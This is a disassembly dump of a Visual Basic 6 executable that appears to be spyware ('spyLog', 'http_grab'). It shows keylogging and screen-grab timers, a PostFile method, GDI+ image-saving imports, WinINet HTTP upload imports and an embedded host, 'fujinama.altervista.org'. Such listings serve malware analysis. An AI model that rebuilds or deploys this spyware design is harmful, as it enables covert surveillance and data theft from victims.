File cftmon_3c4444c8339f2b4c04931a379daf9d041854b168e45f949515f90b124821d626.exe
Function:
    00401de4
    00401de4 struct ExternalTableEntry
    00401de4 dwFlag uint32 0x00000007 ; Declare
    00401de8 lpExternal uint32 0x402db0
    00401dec
    00401dec struct ExternalTableEntry
    00401dec dwFlag uint32 0x00000007 ; Declare
    00401df0 lpExternal uint32 0x402d68
    00401df4
    00401df4 struct ExternalTableEntry
    00401df4 dwFlag uint32 0x00000007 ; Declare
    00401df8 lpExternal uint32 0x402d1c
    00401dfc
    00401dfc struct ExternalTableEntry
    00401dfc dwFlag uint32 0x00000007 ; Declare
    00401e00 lpExternal uint32 0x402cc4
    00401e04
    00401e04 struct ExternalTableEntry
    00401e04 dwFlag uint32 0x00000007 ; Declare
    00401e08 lpExternal uint32 0x402c48
    00401e0c
    00401e0c struct ExternalTableEntry
    00401e0c dwFlag uint32 0x00000007 ; Declare
    00401e10 lpExternal uint32 0x402bf8
    00401e14
    00401e14 struct ExternalTableEntry
    00401e14 dwFlag uint32 0x00000007 ; Declare
    00401e18 lpExternal uint32 0x402bac
    00401e1c
    00401e1c struct ExternalTableEntry
    00401e1c dwFlag uint32 0x00000007 ; Declare
    00401e20 lpExternal uint32 0x402b60
    00401e24
    00401e24 struct ExternalTableEntry
    00401e24 dwFlag uint32 0x00000007 ; Declare
    00401e28 lpExternal uint32 0x402b14
    00401e2c
    00401e2c struct ExternalTableEntry
    00401e2c dwFlag uint32 0x00000007 ; Declare
    00401e30 lpExternal uint32 0x402ac8
    00401e34
    00401e34 struct ExternalTableEntry
    00401e34 dwFlag uint32 0x00000007 ; Declare
    00401e38 lpExternal uint32 0x402a7c
    00401e3c
    00401e3c struct ExternalTableEntry
    00401e3c dwFlag uint32 0x00000007 ; Declare
    00401e40 lpExternal uint32 0x402a24
    00401e44
    00401e44 struct ExternalTableEntry
    00401e44 dwFlag uint32 0x00000007 ; Declare
    00401e48 lpExternal uint32 0x4029d0
    00401e4c
    00401e4c struct ExternalTableEntry
    00401e4c dwFlag uint32 0x00000007 ; Declare
    00401e50 lpExternal uint32 0x402984
    00401e54
    00401e54 struct ExternalTableEntry
    00401e54 dwFlag uint32 0x00000007 ; Declare
    00401e58 lpExternal uint32 0x402938
    00401e5c
    00401e5c struct ExternalTableEntry
    00401e5c dwFlag uint32 0x00000007 ; Declare
    00401e60 lpExternal uint32 0x4028e0
    00401e64
    00401e64 struct ExternalTableEntry
    00401e64 dwFlag uint32 0x00000007 ; Declare
    00401e68 lpExternal uint32 0x402898
    00401e6c
    00401e6c struct ProjectInfo
    00401e6c dwVersion uint32 0x000001f4
    00401e70 lpObjectTable uint32 0x402524
    00401e74 dwNull uint32 0x00000000
    00401e78 lpCodeStart uint32 0x403b60
    00401e7c lpCodeEnd uint32 0x4098d0
    00401e80 dwDataSize uint32 0x00000af4
    00401e84 lpThreadSpace uint32 0x40a008
    00401e88 lpVbaSeh uint32 0x4014a6
    00401e8c lpNativeCode uint32 0x40a000
    00401e90 szPathInformation ascii "*\\AE:\\spyLog\\cftmon_v3.5_http_grab\\cftmon.vbp"
    004020a0 lpExternalTable uint32 0x401dcc
    004020a4 dwExternalCount int 20
    004020a8
    004020a8 struct ObjectInfo
    004020a8 wRefCount int 1
    004020aa wObjectIndex int 0
    004020ac lpObjectTable uint32 0x402524
    004020b0 lpIdeData uint32 0x00000000
    004020b4 lpPrivateObject uint32 0x403a18
    004020b8 dwReserved uint32 0xffffffff
    004020bc dwNull uint32 0x00000000
    004020c0 lpObject uint32 0x402578
    004020c4 lpProjectData uint32 0x40a008
    004020c8 wMethodCount int 19
    004020ca wMethodCount2 int 0
    004020cc lpMethods uint32 0x00402120
    004020d0 wConstants int 0
    004020d2 wMaxConstants int 0
    004020d4 lpIdeData2 uint32 0x00000000
    004020d8 lpIdeData3 uint32 0x00000000
    004020dc lpConstants uint32 0x402120
    004020e0
    004020e0 struct OptionalObjectInfo
    004020e0 dwObjectGuids int 1
    004020e4 lpObjectGuid uint32 0x402734
    004020e8 dwNull uint32 0x00000000
    004020ec lpuuidObjectTypes uint32 0x40216c
    004020f0 dwObjectTypeGuids int 1
    004020f4 lpControls2 uint32 0x402174
    004020f8 dwNull2 uint32 0x00000000
    004020fc lpObjectGuids2 uint32 0x402170
    00402100 dwControlCount int 7
    00402104 lpControls uint32 0x402174
    00402108 wEventCount int 11
    0040210a wPCodeCount uint16 0x01b7
    0040210c bWInitializeEvent uint16 0x0068
    0040210e bWTerminateEvent uint16 0x006c
    00402110 lpEvents uint32 0x40228c
    00402114 lpBasicClassObject uint32 0x40a3cc
    00402118 dwNull3 uint32 0x00000000
    0040211c lpIdeData uint32 0x00b21bb4
    00402120
    00402120 28 ac b0 00 00 00 01 00 6a 01 00 00 00 00 00 00 (.......j.......
    00402130 00 00 00 00 00 00 00 00 30 a0 b0 00 00 00 0d 00 ........0.......
    00402140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00402150 00 00 00 00 00 00 00 00 00 00 00 00 3c ac b0 00 ............<...
    00402160 00 00 01 00 8b 01 00 00 00 00 00 00 ............
    0040216c
    0040216c struct VBGUIDEntry
    0040216c lpEntry uint32 0x402744
    00402170
    00402170 struct VBGUIDEntry
    00402170 lpEntry uint32 0x402754
    00402174
    00402174 struct ControlInfo
    00402174 fControlType uint16 0x0040
    00402176 wEventCount int 24
    00402178 bWEventsOffset uint16 0x0040
    0040217a wUnknown uint16 0x0000
    0040217c lpGuid uint32 0x402764
    00402180 dwIndex uint32 0x00030005
    00402184 dwNull uint32 0x00000000
    00402188 dwNull2 uint32 0x00000000
    0040218c lpEventInfo uint32 0x4022b8
    00402190 lpIdeData uint32 0x00b20d9c
    00402194 lpszName uint32 0x402774
    00402198 dwIndexCopy uint32 0x00030005
    0040219c
    0040219c struct ControlInfo
    0040219c fControlType uint16 0x0040
    0040219e wEventCount int 1
    004021a0 bWEventsOffset uint16 0x0044
    004021a2 wUnknown uint16 0x0000
    004021a4 lpGuid uint32 0x4027f4
    004021a8 dwIndex uint32 0x00030002
    004021ac dwNull uint32 0x00000000
    004021b0 dwNull2 uint32 0x00000000
    004021b4 lpEventInfo uint32 0x402330
    004021b8 lpIdeData uint32 0x00b20dac
    004021bc lpszName uint32 0x402804
    004021c0 dwIndexCopy uint32 0x00030002
    004021c4
    004021c4 struct ControlInfo
    004021c4 fControlType uint16 0x0040
    004021c6 wEventCount int 18
    004021c8 bWEventsOffset uint16 0x0048
    004021ca wUnknown uint16 0x0000
    004021cc lpGuid uint32 0x40280c
    004021d0 dwIndex uint32 0x00030006
    004021d4 dwNull uint32 0x00000000
    004021d8 dwNull2 uint32 0x00000000
    004021dc lpEventInfo uint32 0x40234c
    004021e0 lpIdeData uint32 0x00b20dbc
    004021e4 lpszName uint32 0x40281c
    004021e8 dwIndexCopy uint32 0x00030006
    004021ec
    004021ec struct ControlInfo
    004021ec fControlType uint16 0x0040
    004021ee wEventCount int 1
    004021f0 bWEventsOffset uint16 0x004c
    004021f2 wUnknown uint16 0x0000
    004021f4 lpGuid uint32 0x4027f4
    004021f8 dwIndex uint32 0x00030003
    004021fc dwNull uint32 0x00000000
    00402200 dwNull2 uint32 0x00000000
    00402204 lpEventInfo uint32 0x4023ac
    00402208 lpIdeData uint32 0x00b20dac
    0040220c lpszName uint32 0x402824
    00402210 dwIndexCopy uint32 0x00030003
    00402214
    00402214 struct ControlInfo
    00402214 fControlType uint16 0x0040
    00402216 wEventCount int 31
    00402218 bWEventsOffset uint16 0x0050
    0040221a wUnknown uint16 0x0000
    0040221c lpGuid uint32 0x40282c
    00402220 dwIndex uint32 0xffffffff
    00402224 dwNull uint32 0x00000000
    00402228 dwNull2 uint32 0x00000000
    0040222c lpEventInfo uint32 0x4023c8
    00402230 lpIdeData uint32 0x00b20dcc
    00402234 lpszName uint32 0x40283c
    00402238 dwIndexCopy uint32 0xffffffff
    0040223c
    0040223c struct ControlInfo
    0040223c fControlType uint16 0x0040
    0040223e wEventCount int 1
    00402240 bWEventsOffset uint16 0x0054
    00402242 wUnknown uint16 0x0000
    00402244 lpGuid uint32 0x4027f4
    00402248 dwIndex uint32 0x00030004
    0040224c dwNull uint32 0x00000000
    00402250 dwNull2 uint32 0x00000000
    00402254 lpEventInfo uint32 0x40245c
    00402258 lpIdeData uint32 0x00b20dac
    0040225c lpszName uint32 0x402844
    00402260 dwIndexCopy uint32 0x00030004
    00402264
    00402264 struct ControlInfo
    00402264 fControlType uint16 0x0040
    00402266 wEventCount int 1
    00402268 bWEventsOffset uint16 0x0058
    0040226a wUnknown uint16 0x0000
    0040226c lpGuid uint32 0x4027f4
    00402270 dwIndex uint32 0x00030001
    00402274 dwNull uint32 0x00000000
    00402278 dwNull2 uint32 0x00000000
    0040227c lpEventInfo uint32 0x402478
    00402280 lpIdeData uint32 0x00b20dac
    00402284 lpszName uint32 0x40284c
    00402288 dwIndexCopy uint32 0x00030001
    0040228c struct VBEventLinkEntry[11] ; 0x40228c-0x4022b8, 11 set, 0 null
    0040228c #0 lpEntry = 0x004024a9 ; fn_4024a9
    00402290 #1 lpEntry = 0x0040249c
    00402294 #2 lpEntry = 0x004024b6 ; fn_4024b6
    00402298 #3 lpEntry = 0x004024c3 ; fn_4024c3
    0040229c #4 lpEntry = 0x004024d0
    004022a0 #5 lpEntry = 0x004024dd
    004022a4 #6 lpEntry = 0x004024ea ; fn_4024ea
    004022a8 #7 lpEntry = 0x004024f7
    004022ac #8 lpEntry = 0x00402504
    004022b0 #9 lpEntry = 0x00402511
    004022b4 #10 lpEntry = 0x0040251e ; fn_40251e
    004022b8
    004022b8 struct EventInfo
    004022b8 dwNull uint32 0x00000000
    004022bc lpControlInfo uint32 0x402174
    004022c0 lpObjectInfo uint32 0x4020a8
    004022c4 lpQueryInterface uint32 0x4016aa
    004022c8 lpAddRef uint32 0x4016b0
    004022cc lpRelease uint32 0x4016b6
    004022d0 struct VBEventHandlerEntry[24] ; 0x4022d0-0x402330, 1 set, 23 null
    004022d0 #0 lpEntry = 0x004024fc ; frmMain.Text1_Change
    00402330
    00402330 struct EventInfo
    00402330 dwNull uint32 0x00000000
    00402334 lpControlInfo uint32 0x40219c
    00402338 lpObjectInfo uint32 0x4020a8
    0040233c lpQueryInterface uint32 0x4016aa
    00402340 lpAddRef uint32 0x4016b0
    00402344 lpRelease uint32 0x4016b6
    00402348
    00402348 struct VBEventHandlerEntry
    00402348 lpEntry uint32 0x4024ef
    0040234c
    0040234c struct EventInfo
    0040234c dwNull uint32 0x00000000
    00402350 lpControlInfo uint32 0x4021c4
    00402354 lpObjectInfo uint32 0x4020a8
    00402358 lpQueryInterface uint32 0x4016aa
    0040235c lpAddRef uint32 0x4016b0
    00402360 lpRelease uint32 0x4016b6
    00402364 struct VBEventHandlerEntry[18] ; 0x402364-0x4023ac, 0 set, 18 null
    004023ac
    004023ac struct EventInfo
    004023ac dwNull uint32 0x00000000
    004023b0 lpControlInfo uint32 0x4021ec
    004023b4 lpObjectInfo uint32 0x4020a8
    004023b8 lpQueryInterface uint32 0x4016aa
    004023bc lpAddRef uint32 0x4016b0
    004023c0 lpRelease uint32 0x4016b6
    004023c4
    004023c4 struct VBEventHandlerEntry
    004023c4 lpEntry uint32 0x402509
    004023c8
    004023c8 struct EventInfo
    004023c8 dwNull uint32 0x00000000
    004023cc lpControlInfo uint32 0x402214
    004023d0 lpObjectInfo uint32 0x4020a8
    004023d4 lpQueryInterface uint32 0x4016aa
    004023d8 lpAddRef uint32 0x4016b0
    004023dc lpRelease uint32 0x4016b6
    004023e0 struct VBEventHandlerEntry[31] ; 0x4023e0-0x40245c, 1 set, 30 null
    004023f8 #6 lpEntry = 0x00402494 ; frmMain.Form_Load
    0040245c
    0040245c struct EventInfo
    0040245c dwNull uint32 0x00000000
    00402460 lpControlInfo uint32 0x40223c
    00402464 lpObjectInfo uint32 0x4020a8
    00402468 lpQueryInterface uint32 0x4016aa
    0040246c lpAddRef uint32 0x4016b0
    00402470 lpRelease uint32 0x4016b6
    00402474
    00402474 struct VBEventHandlerEntry
    00402474 lpEntry uint32 0x4024d5
    00402478
    00402478 struct EventInfo
    00402478 dwNull uint32 0x00000000
    0040247c lpControlInfo uint32 0x402264
    00402480 lpObjectInfo uint32 0x4020a8
    00402484 lpQueryInterface uint32 0x4016aa
    00402488 lpAddRef uint32 0x4016b0
    0040248c lpRelease uint32 0x4016b6
    00402490
    00402490 struct VBEventHandlerEntry
    00402490 lpEntry uint32 0x4024c8
    00402494
    00402494frmMain.Form_Load_thunk:
    00402494sub [esp+4], 79
    0040249cjmp 0x403b70
    00402494
    004024a1
    004024a1 81 6c 24 04 ff ff 00 00 .l$.....
    004024a9
    004024a9fn_4024a9:
    004024a9jmp 0x403d50
    004024a9
    004024ae
    004024ae 81 6c .l
    004024b0 24 04 ff ff 00 00 $.....
    004024b6
    004024b6fn_4024b6:
    004024b6jmp 0x404310
    004024b6
    004024bb
    004024bb 81 6c 24 04 ff .l$..
    004024c0 ff 00 00 ...
    004024c3
    004024c3fn_4024c3:
    004024c3jmp 0x4045f0
    004024c3
    004024c8
    004024c8frmMain.t_cmd_Timer_thunk:
    004024c8sub [esp+4], 87
    004024d0jmp 0x404770
    004024c8
    004024d5
    004024d5frmMain.t_grab_Timer_thunk:
    004024d5sub [esp+4], 83
    004024ddjmp 0x405460
    004024d5
    004024e2
    004024e2 81 6c 24 04 ff ff 00 00 .l$.....
    004024ea
    004024eafn_4024ea:
    004024eajmp 0x405ab0
    004024ea
    004024ef
    004024effrmMain.t_key_Timer_thunk:
    004024efsub [esp+4], 67
    004024f7jmp 0x405f50
    004024ef
    004024fc
    004024fcfrmMain.Text1_Change_thunk:
    004024fcsub [esp+4], 63
    00402504jmp 0x409050
    004024fc
    00402509
    00402509frmMain.t_save_Timer_thunk:
    00402509sub [esp+4], 75
    00402511jmp 0x4091c0
    00402509
    00402516
    00402516 81 6c 24 04 ff ff 00 00 .l$.....
    0040251e
    0040251efn_40251e:
    0040251ejmp 0x409630
    0040251e
    00402523
    00402523 00 .
    00402524
    00402524 struct ObjectTable
    00402524 lpHeapLink uint32 0x00000000
    00402528 lpExecProj uint32 0x40a02c
    0040252c lpProjectInfo2 uint32 0x403ad0
    00402530 dwReserved uint32 0xffffffff
    00402534 dwNull uint32 0x00000000
    00402538 lpProjectObject uint32 0x40a01c
    0040253c uuidObject guid 05ca111f-aa29-4647-bc12-dcbb50dd21fe
    0040254c fCompileState uint16 0x000a
    0040254e wTotalObjects int 1
    00402550 wCompiledObjects int 1
    00402552 wObjectsInUse int 1
    00402554 lpObjectArray uint32 0x402578
    00402558 fIdeFlag uint32 0x00000000
    0040255c lpIdeData uint32 0x00000000
    00402560 lpIdeData2 uint32 0x00000000
    00402564 lpszProjectName uint32 0x402628
    00402568 dwLcid uint32 0x00000409
    0040256c dwLcid2 uint32 0x00000410
    00402570 lpIdeData3 uint32 0x00000000
    00402574 dwIdentifier int 2
    00402578
    00402578 struct PublicObjectDescriptor
    00402578 lpObjectInfo uint32 0x4020a8
    0040257c dwReserved uint32 0xffffffff
    00402580 lpPublicBytes uint32 0x402cac
    00402584 lpStaticBytes uint32 0x00000000
    00402588 lpModulePublic uint32 0x00000000
    0040258c lpModuleStatic uint32 0x00000000
    00402590 lpszObjectName uint32 0x402620
    00402594 dwMethodCount int 30
    00402598 lpMethodNames uint32 0x4025a8
    0040259c bStaticVars uint32 0x0000ffff
    004025a0 fObjectType uint32 0x00018083 ; HasOptionalInfo|HasPrivateObject|Form
    004025a4 dwNull uint32 0x00000000
    004025a8 struct VBMethodNameEntry[30] ; 0x4025a8-0x402620, 1 set, 29 null
    004025f8 #20 lpEntry = 0x00402ca0 ; "PostFile"
    00402620
    00402620 string "frmMain",0
    00402628
    00402628 string "cftmon",0
    0040262f
    0040262f 00 .
    00402630 1c 00 00 00 37 00 64 00 37 00 33 00 38 00 61 00 ....7.d.7.3.8.a.
    00402640 31 00 31 00 32 00 65 00 30 00 38 00 65 00 61 00 1.1.2.e.0.8.e.a.
    00402650 00 00 00 00 2e 00 00 00 66 00 75 00 6a 00 69 00 ........f.u.j.i.
    00402660 6e 00 61 00 6d 00 61 00 2e 00 61 00 6c 00 74 00 n.a.m.a...a.l.t.
    00402670 65 00 72 00 76 00 69 00 73 00 74 00 61 00 2e 00 e.r.v.i.s.t.a...
    00402680 6f 00 72 00 67 00 00 00 96 00 00 00 4d 00 6f 00 o.r.g.......M.o.
    00402690 7a 00 69 00 6c 00 6c 00 61 00 2f 00 34 00 2e 00 z.i.l.l.a./.4...
    004026a0 30 00 20 00 28 00 63 00 6f 00 6d 00 70 00 61 00 0. .(.c.o.m.p.a.
    004026b0 74 00 69 00 62 00 6c 00 65 00 3b 00 20 00 4d 00 t.i.b.l.e.;. .M.
    004026c0 53 00 49 00 45 00 20 00 37 00 2e 00 30 00 3b 00 S.I.E. .7...0.;.
    004026d0 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 .W.i.n.d.o.w.s.
    004026e0 20 00 4e 00 54 00 20 00 35 00 2e 00 31 00 3b 00 .N.T. .5...1.;.
    004026f0 20 00 53 00 56 00 31 00 3b 00 20 00 2e 00 4e 00 .S.V.1.;. ...N.
    00402700 45 00 54 00 20 00 43 00 4c 00 52 00 20 00 32 00 E.T. .C.L.R. .2.
    00402710 2e 00 30 00 2e 00 35 00 30 00 37 00 32 00 37 00 ..0...5.0.7.2.7.
    00402720 29 00 00 00 9e 06 7d c6 c7 6d 2d 46 bb 2e 13 d9 ).....}..m-F....
    00402730 ed 29 ea 16 .)..
    00402734
    00402734 struct GUID
    00402734 guid guid 6060b30a-f4c1-4037-bb8b-b24b102578fc
    00402744
    00402744 struct GUID
    00402744 guid guid 19c7124f-b459-46d9-ad48-f0583da63242
    00402754
    00402754 struct GUID
    00402754 guid guid 6a487e46-3b5e-49e0-8b0c-7db9bf1a70f6
    00402764
    00402764 struct GUID
    00402764 guid guid 33ad4ee2-6699-11cf-b70c-00aa0060d393
    00402774
    00402774 string "Text1",0
    0040277a
    0040277a 00 00 2e 3d fb fc ...=..
    00402780 fa a0 68 10 a7 38 08 00 2b 33 71 b5 43 3a 5c 50 ..h..8..+3q.C:\P
    00402790 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 rogram Files (x8
    004027a0 36 29 5c 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 6)\Microsoft Vis
    004027b0 75 61 6c 20 53 74 75 64 69 6f 5c 56 42 39 38 5c ual Studio\VB98\
    004027c0 56 42 36 2e 4f 4c 42 00 56 42 00 00 7c 27 40 00 VB6.OLB.VB..|'@.
    004027d0 00 00 00 00 06 00 00 00 09 00 00 00 8c 27 40 00 .............'@.
    004027e0 c8 27 40 00 d0 a2 40 00 00 00 00 00 00 00 00 00 .'@...@.........
    004027f0 e8 cc ad 00 ....
    004027f4
    004027f4 struct GUID
    004027f4 guid guid 33ad4f2a-6699-11cf-b70c-00aa0060d393
    00402804
    00402804 string "t_key",0
    0040280a
    0040280a 00 00 ..
    0040280c
    0040280c struct GUID
    0040280c guid guid 33ad4eda-6699-11cf-b70c-00aa0060d393
    0040281c
    0040281c string "lblCONT",0
    00402824
    00402824 string "t_save",0
    0040282b
    0040282b 00 .
    0040282c
    0040282c struct GUID
    0040282c guid guid 33ad4f3a-6699-11cf-b70c-00aa0060d393
    0040283c
    0040283c string "Form",0
    00402841
    00402841 00 00 00 ...
    00402844
    00402844 string "t_grab",0
    0040284b
    0040284b 00 .
    0040284c
    0040284c string "t_cmd",0
    00402852
    00402852 00 00 0c 00 10 00 00 00 00 00 10 00 04 04 ..............
    00402860 0c 00 1c 00 00 00 00 00 1c 00 04 04 0c 00 20 00 .............. .
    00402870 00 00 00 00 20 00 04 04 .... ...
    00402878
    00402878 struct VBDeclareNameLength
    00402878 cbName int 8
    0040287c
    0040287c string "GDIPlus",0
    00402884
    00402884 struct VBDeclareNameLength
    00402884 cbName int 15
    00402888
    00402888 string "GdiplusStartup",0
    00402897
    00402897 00 .
    00402898
    00402898 struct DeclareInfo
    00402898 lpszLibraryName uint32 0x40287c
    0040289c lpszFunctionName uint32 0x402888
    004028a0 dwFlags uint32 0x00040000
    004028a4 lpCache uint32 0x40a2d4
    004028a8 dwReserved uint32 0x00000000
    004028ac
    004028ac 00 00 00 00 ....
    004028b0
    004028b0GdiplusStartup:
    004028b0mov eax, [0x40a2dc]
    004028b5or eax, eax
    004028b7je 0x4028bb
    004028b9jmp eax
    004028bb
    004028bbloc_4028bb:
    004028bbpush 0x402898
    004028c0mov eax, 0x401530
    004028c5call eax
    004028c7jmp eax
    004028b0
    004028c9
    004028c9 00 00 00 ...
    004028cc
    004028cc struct VBDeclareNameLength
    004028cc cbName int 16
    004028d0
    004028d0 string "GdiplusShutdown",0
    004028e0
    004028e0 struct DeclareInfo
    004028e0 lpszLibraryName uint32 0x40287c
    004028e4 lpszFunctionName uint32 0x4028d0
    004028e8 dwFlags uint32 0x00040000
    004028ec lpCache uint32 0x40a2e0
    004028f0 dwReserved uint32 0x00000000
    004028f4
    004028f4 00 00 00 00 ....
    004028f8
    004028f8GdiplusShutdown:
    004028f8mov eax, [0x40a2e8]
    004028fdor eax, eax
    004028ffje 0x402903
    00402901jmp eax
    00402903
    00402903loc_402903:
    00402903push 0x4028e0
    00402908mov eax, 0x401530
    0040290dcall eax
    0040290fjmp eax
    004028f8
    00402911
    00402911 00 00 00 ...
    00402914
    00402914 struct VBDeclareNameLength
    00402914 cbName int 28
    00402918
    00402918 string "GdipCreateBitmapFromHBITMAP",0
    00402934
    00402934 00 00 00 00 ....
    00402938
    00402938 struct DeclareInfo
    00402938 lpszLibraryName uint32 0x40287c
    0040293c lpszFunctionName uint32 0x402918
    00402940 dwFlags uint32 0x00040000
    00402944 lpCache uint32 0x40a2ec
    00402948 dwReserved uint32 0x00000000
    0040294c
    0040294c 00 00 00 00 ....
    00402950
    00402950GdipCreateBitmapFromHBITMAP:
    00402950mov eax, [0x40a2f4]
    00402955or eax, eax
    00402957je 0x40295b
    00402959jmp eax
    0040295b
    0040295bloc_40295b:
    0040295bpush 0x402938
    00402960mov eax, 0x401530
    00402965call eax
    00402967jmp eax
    00402950
    00402969
    00402969 00 00 00 ...
    0040296c
    0040296c struct VBDeclareNameLength
    0040296c cbName int 17
    00402970
    00402970 string "GdipDisposeImage",0
    00402981
    00402981 00 00 00 ...
    00402984
    00402984 struct DeclareInfo
    00402984 lpszLibraryName uint32 0x40287c
    00402988 lpszFunctionName uint32 0x402970
    0040298c dwFlags uint32 0x00040000
    00402990 lpCache uint32 0x40a2f8
    00402994 dwReserved uint32 0x00000000
    00402998
    00402998 00 00 00 00 ....
    0040299c
    0040299cGdipDisposeImage:
    0040299cmov eax, [0x40a300]
    004029a1or eax, eax
    004029a3je 0x4029a7
    004029a5jmp eax
    004029a7
    004029a7loc_4029a7:
    004029a7push 0x402984
    004029acmov eax, 0x401530
    004029b1call eax
    004029b3jmp eax
    0040299c
    004029b5
    004029b5 00 00 00 ...
    004029b8
    004029b8 struct VBDeclareNameLength
    004029b8 cbName int 20
    004029bc
    004029bc string "GdipSaveImageToFile",0
    004029d0
    004029d0 struct DeclareInfo
    004029d0 lpszLibraryName uint32 0x40287c
    004029d4 lpszFunctionName uint32 0x4029bc
    004029d8 dwFlags uint32 0x00040000
    004029dc lpCache uint32 0x40a304
    004029e0 dwReserved uint32 0x00000000
    004029e4
    004029e4 00 00 00 00 ....
    004029e8
    004029e8GdipSaveImageToFile:
    004029e8mov eax, [0x40a30c]
    004029edor eax, eax
    004029efje 0x4029f3
    004029f1jmp eax
    004029f3
    004029f3loc_4029f3:
    004029f3push 0x4029d0
    004029f8mov eax, 0x401530
    004029fdcall eax
    004029ffjmp eax
    004029e8
    00402a01
    00402a01 00 00 00 ...
    00402a04
    00402a04 struct VBDeclareNameLength
    00402a04 cbName int 6
    00402a08
    00402a08 string "ole32",0
    00402a0e
    00402a0e 00 00 ..
    00402a10
    00402a10 struct VBDeclareNameLength
    00402a10 cbName int 16
    00402a14
    00402a14 string "CLSIDFromString",0
    00402a24
    00402a24 struct DeclareInfo
    00402a24 lpszLibraryName uint32 0x402a08
    00402a28 lpszFunctionName uint32 0x402a14
    00402a2c dwFlags uint32 0x00040000
    00402a30 lpCache uint32 0x40a310
    00402a34 dwReserved uint32 0x00000000
    00402a38
    00402a38 00 00 00 00 ....
    00402a3c
    00402a3cCLSIDFromString:
    00402a3cmov eax, [0x40a318]
    00402a41or eax, eax
    00402a43je 0x402a47
    00402a45jmp eax
    00402a47
    00402a47loc_402a47:
    00402a47push 0x402a24
    00402a4cmov eax, 0x401530
    00402a51call eax
    00402a53jmp eax
    00402a3c
    00402a55
    00402a55 00 00 00 ...
    00402a58
    00402a58 struct VBDeclareNameLength
    00402a58 cbName int 12
    00402a5c
    00402a5c string "wininet.dll",0
    00402a68
    00402a68 struct VBDeclareNameLength
    00402a68 cbName int 14
    00402a6c
    00402a6c string "InternetOpenA",0
    00402a7a
    00402a7a 00 00 ..
    00402a7c
    00402a7c struct DeclareInfo
    00402a7c lpszLibraryName uint32 0x402a5c
    00402a80 lpszFunctionName uint32 0x402a6c
    00402a84 dwFlags uint32 0x00040000
    00402a88 lpCache uint32 0x40a31c
    00402a8c dwReserved uint32 0x00000000
    00402a90
    00402a90 00 00 00 00 ....
    00402a94
    00402a94InternetOpenA:
    00402a94mov eax, [0x40a324]
    00402a99or eax, eax
    00402a9bje 0x402a9f
    00402a9djmp eax
    00402a9f
    00402a9floc_402a9f:
    00402a9fpush 0x402a7c
    00402aa4mov eax, 0x401530
    00402aa9call eax
    00402aabjmp eax
    00402a94
    00402aad
    00402aad 00 00 00 ...
    00402ab0
    00402ab0 struct VBDeclareNameLength
    00402ab0 cbName int 17
    00402ab4
    00402ab4 string "InternetConnectA",0
    00402ac5
    00402ac5 00 00 00 ...
    00402ac8
    00402ac8 struct DeclareInfo
    00402ac8 lpszLibraryName uint32 0x402a5c
    00402acc lpszFunctionName uint32 0x402ab4
    00402ad0 dwFlags uint32 0x00040000
    00402ad4 lpCache uint32 0x40a328
    00402ad8 dwReserved uint32 0x00000000
    00402adc
    00402adc 00 00 00 00 ....
    00402ae0
    00402ae0InternetConnectA:
    00402ae0mov eax, [0x40a330]
    00402ae5or eax, eax
    00402ae7je 0x402aeb
    00402ae9jmp eax
    00402aeb
    00402aebloc_402aeb:
    00402aebpush 0x402ac8
    00402af0mov eax, 0x401530
    00402af5call eax
    00402af7jmp eax
    00402ae0
    00402af9
    00402af9 00 00 00 ...
    00402afc
    00402afc struct VBDeclareNameLength
    00402afc cbName int 17
    00402b00
    00402b00 string "InternetReadFile",0
    00402b11
    00402b11 00 00 00 ...
    00402b14
    00402b14 struct DeclareInfo
    00402b14 lpszLibraryName uint32 0x402a5c
    00402b18 lpszFunctionName uint32 0x402b00
    00402b1c dwFlags uint32 0x00040000
    00402b20 lpCache uint32 0x40a334
    00402b24 dwReserved uint32 0x00000000
    00402b28
    00402b28 00 00 00 00 ....
    00402b2c
    00402b2cInternetReadFile:
    00402b2cmov eax, [0x40a33c]
    00402b31or eax, eax
    00402b33je 0x402b37
    00402b35jmp eax
    00402b37
    00402b37loc_402b37:
    00402b37push 0x402b14
    00402b3cmov eax, 0x401530
    00402b41call eax
    00402b43jmp eax
    00402b2c
    00402b45
    00402b45 00 00 00 ...
    00402b48
    00402b48 struct VBDeclareNameLength
    00402b48 cbName int 17
    00402b4c
    00402b4c string "HttpOpenRequestA",0
    00402b5d
    00402b5d 00 00 00 ...
    00402b60
    00402b60 struct DeclareInfo
    00402b60 lpszLibraryName uint32 0x402a5c
    00402b64 lpszFunctionName uint32 0x402b4c
    00402b68 dwFlags uint32 0x00040000
    00402b6c lpCache uint32 0x40a340
    00402b70 dwReserved uint32 0x00000000
    00402b74
    00402b74 00 00 00 00 ....
    00402b78
    00402b78HttpOpenRequestA:
    00402b78mov eax, [0x40a348]
    00402b7dor eax, eax
    00402b7fje 0x402b83
    00402b81jmp eax
    00402b83
    00402b83loc_402b83:
    00402b83push 0x402b60
    00402b88mov eax, 0x401530
    00402b8dcall eax
    00402b8fjmp eax
    00402b78
    00402b91
    00402b91 00 00 00 ...
    00402b94
    00402b94 struct VBDeclareNameLength
    00402b94 cbName int 17
    00402b98
    00402b98 string "HttpSendRequestA",0
    00402ba9
    00402ba9 00 00 00 ...
    00402bac
    00402bac struct DeclareInfo
    00402bac lpszLibraryName uint32 0x402a5c
    00402bb0 lpszFunctionName uint32 0x402b98
    00402bb4 dwFlags uint32 0x00040000
    00402bb8 lpCache uint32 0x40a34c
    00402bbc dwReserved uint32 0x00000000
    00402bc0
    00402bc0 00 00 00 00 ....
    00402bc4
    00402bc4HttpSendRequestA:
    00402bc4mov eax, [0x40a354]
    00402bc9or eax, eax
    00402bcbje 0x402bcf
    00402bcdjmp eax
    00402bcf
    00402bcfloc_402bcf:
    00402bcfpush 0x402bac
    00402bd4mov eax, 0x401530
    00402bd9call eax
    00402bdbjmp eax
    00402bc4
    00402bdd
    00402bdd 00 00 00 ...
    00402be0
    00402be0 struct VBDeclareNameLength
    00402be0 cbName int 20
    00402be4
    00402be4 string "InternetCloseHandle",0
    00402bf8
    00402bf8 struct DeclareInfo
    00402bf8 lpszLibraryName uint32 0x402a5c
    00402bfc lpszFunctionName uint32 0x402be4
    00402c00 dwFlags uint32 0x00040000
    00402c04 lpCache uint32 0x40a358
    00402c08 dwReserved uint32 0x00000000
    00402c0c
    00402c0c 00 00 00 00 ....
    00402c10
    00402c10InternetCloseHandle:
    00402c10mov eax, [0x40a360]
    00402c15or eax, eax
    00402c17je 0x402c1b
    00402c19jmp eax
    00402c1b
